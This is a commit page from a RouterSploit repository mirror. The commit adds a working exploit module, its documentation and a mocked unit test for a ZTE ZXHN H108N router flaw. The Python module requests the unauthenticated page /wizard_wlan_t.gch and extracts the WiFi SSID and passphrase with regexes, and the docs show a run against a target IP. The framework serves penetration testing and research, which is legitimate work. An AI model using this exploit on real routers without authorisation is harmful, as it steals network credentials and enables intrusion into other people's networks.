Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
d959a1c2
Unverified
Commit
d959a1c2
authored
5 years ago
by
Marcin Bury
Committed by
GitHub
5 years ago
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding ZTE ZXHN H108N Wifi Password Disclosure module (#590)
parent
0a551a2e
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
162 additions
and
0 deletions
+162
-0
zxhn_h108n_wifi_password_disclosure.md
...ploits/routers/zte/zxhn_h108n_wifi_password_disclosure.md
+29
-0
zxhn_h108n_wifi_password_disclosure.py
...ploits/routers/zte/zxhn_h108n_wifi_password_disclosure.py
+73
-0
test_zxhn_h108n_wifi_password_disclosure.py
...s/routers/zte/test_zxhn_h108n_wifi_password_disclosure.py
+60
-0
No files found.
docs/modules/exploits/routers/zte/zxhn_h108n_wifi_password_disclosure.md
0 → 100644
View file @
d959a1c2
## Description
Module exploits wifi password disclosure vulnerability that allows to retrieve password for wifi connection.
## Verification Steps
1.
Start
`./rsf.py`
2.
Do:
`use exploits/routers/zte/zxhn_h108n_wifi_password_disclosure`
3.
Do:
`set target [TargetIP]`
4.
Do:
`run`
5.
If device is vulnerable ssid and wifi password is retrieved.
## Scenarios
```
rsf > use exploits/routers/zte/zxhn_h108n_wifi_password_disclosure
rsf (ZTE ZXHN H108N Wifi Password Disclosure) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (ZTE ZXHN H108N Wifi Password Disclosure) > run
[*] Running module exploits/routers/zte/zxhn_h108n_wifi_password_disclosure...
[+] Target is vulnerable
[*] Discovered information:
Parameter Value
--------- -----
SSID Name SSID Name
Password Password
```
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/zte/zxhn_h108n_wifi_password_disclosure.py
0 → 100644
View file @
d959a1c2
import
re
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
class
Exploit
(
HTTPClient
):
__info__
=
{
"name"
:
"ZTE ZXHN H108N Wifi Password Disclosure"
,
"description"
:
"Module exploits ZTE ZXHN H108N WiFi Password Disclosure vulnerability "
"that allows to retrieve password for wifi connection."
,
"authors"
:
(
"Mostafa Nafady"
,
# vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
),
"references"
:
(
"https://github.com/threat9/routersploit/issues/588"
,
),
"devices"
:
(
"ZTE ZXHN H108N"
,
),
}
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
def
run
(
self
):
credentials
=
self
.
get_credentials
()
if
credentials
:
print_success
(
"Target is vulnerable"
)
ssid
,
password
=
credentials
creds
=
[
(
"SSID Name"
,
ssid
),
(
"Password"
,
password
)
]
print_status
(
"Discovered information:"
)
print_table
((
"Parameter"
,
"Value"
),
*
creds
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
def
get_credentials
(
self
):
response
=
self
.
http_request
(
method
=
"GET"
,
path
=
"/wizard_wlan_t.gch"
)
if
response
:
# get ssid
ssid
=
""
password
=
""
res
=
[
r
for
r
in
re
.
findall
(
r"Transfer_meaning\('ESSID','(.*?)'\);"
,
response
.
text
)
if
r
]
if
res
:
ssid
=
res
[
0
]
# get password
res
=
[
r
for
r
in
re
.
findall
(
r"Transfer_meaning\('KeyPassphrase','(.*?)'\);"
,
response
.
text
)
if
r
]
if
res
:
password
=
res
[
0
]
if
ssid
or
password
:
return
(
ssid
,
password
)
return
None
@mute
def
check
(
self
):
credentials
=
self
.
get_credentials
()
if
credentials
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
tests/exploits/routers/zte/test_zxhn_h108n_wifi_password_disclosure.py
0 → 100644
View file @
d959a1c2
from
routersploit.modules.exploits.routers.zte.zxhn_h108n_wifi_password_disclosure
import
Exploit
def
test_check_succecc
(
target
):
""" Test scenario - successful check """
route_mock
=
target
.
get_route_mock
(
"/wizard_wlan_t.gch"
,
methods
=
[
"GET"
])
route_mock
.
return_value
=
(
"(..)"
"<script language=javascript>Transfer_meaning('PreSharedKey','');</script>"
"<INPUT type='hidden' name=KeyPassphrase ID=KeyPassphrase value=''>"
"<script language=javascript>Transfer_meaning('KeyPassphrase','');</script>"
"<INPUT type='hidden' name=AssociatedDeviceMACAddress ID=AssociatedDeviceMACAddress value=''>"
"<script language=javascript>Transfer_meaning('AssociatedDeviceMACAddress','');</script>"
"<script language=javascript>Transfer_meaning('IF_ERRORSTR','SUCC');</script>"
"<script language=javascript>Transfer_meaning('IF_ERRORPARAM','SUCC');</script>"
"<script language=javascript>Transfer_meaning('IF_ERRORTYPE','
\x2d
1');</script>"
"<script language=javascript>Transfer_meaning('PreSharedKey','');</script>"
"<script language=javascript>Transfer_meaning('KeyPassphrase','Password');</script>"
"<script language=javascript>Transfer_meaning('AssociatedDeviceMACAddress','00
\x3a
00
\x3a
00
\x3a
00
\x3a
00
\x3a
00');</script>"
"<script language=javascript>Transfer_meaning('IF_ERRORSTR','SUCC');</script>"
"<script language=javascript>Transfer_meaning('IF_ERRORPARAM','SUCC');</script>"
"(..)"
"<script language=javascript>Transfer_meaning('CardIsIn','1');</script>"
"<script language=javascript>Transfer_meaning('MaxInterface','4');</script>"
"<script language=javascript>Transfer_meaning('DeviceMode','InfrastructureAccessPoint');</script>"
"<script language=javascript>Transfer_meaning('CardMode','b
\x2c
g
\x2c
n
\x2c
bg
\x2c
gn
\x2c
bgn');</script>"
"<script language=javascript>Transfer_meaning('CardRev','0');</script>"
"<script language=javascript>Transfer_meaning('Class','255');</script>"
"<script language=javascript>Transfer_meaning('PID','33169');</script>"
"<script language=javascript>Transfer_meaning('VID','4332');</script>"
"<script language=javascript>Transfer_meaning('ValidIf','1');</script>"
"<script language=javascript>Transfer_meaning('Enable','1');</script>"
"<script language=javascript>Transfer_meaning('RadioStatus','1');</script>"
"<script language=javascript>Transfer_meaning('Standard','b
\x2c
g
\x2c
n');</script>"
"<script language=javascript>Transfer_meaning('BeaconInterval','100');</script>"
"<script language=javascript>Transfer_meaning('RtsCts','2347');</script>"
"<script language=javascript>Transfer_meaning('Fragment','2346');</script>"
"<script language=javascript>Transfer_meaning('DTIM','1');</script>"
"<script language=javascript>Transfer_meaning('TxPower','100
\x25
');</script>"
"<script language=javascript>Transfer_meaning('CountryCode','egI');</script>"
"<script language=javascript>Transfer_meaning('TxRate','Auto');</script>"
"<script language=javascript>Transfer_meaning('Channel','1');</script>"
"<script language=javascript>Transfer_meaning('ESSID','SSID Name');</script>"
"<script language=javascript>Transfer_meaning('ESSIDPrefix','');</script>"
"<script language=javascript>Transfer_meaning('ACLPolicy','Disabled');</script>"
"<script language=javascript>Transfer_meaning('BeaconType','WPAand11i');</script>"
"(..)"
)
exploit
=
Exploit
()
assert
exploit
.
target
==
""
assert
exploit
.
port
==
80
exploit
.
target
=
target
.
host
exploit
.
port
=
target
.
port
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment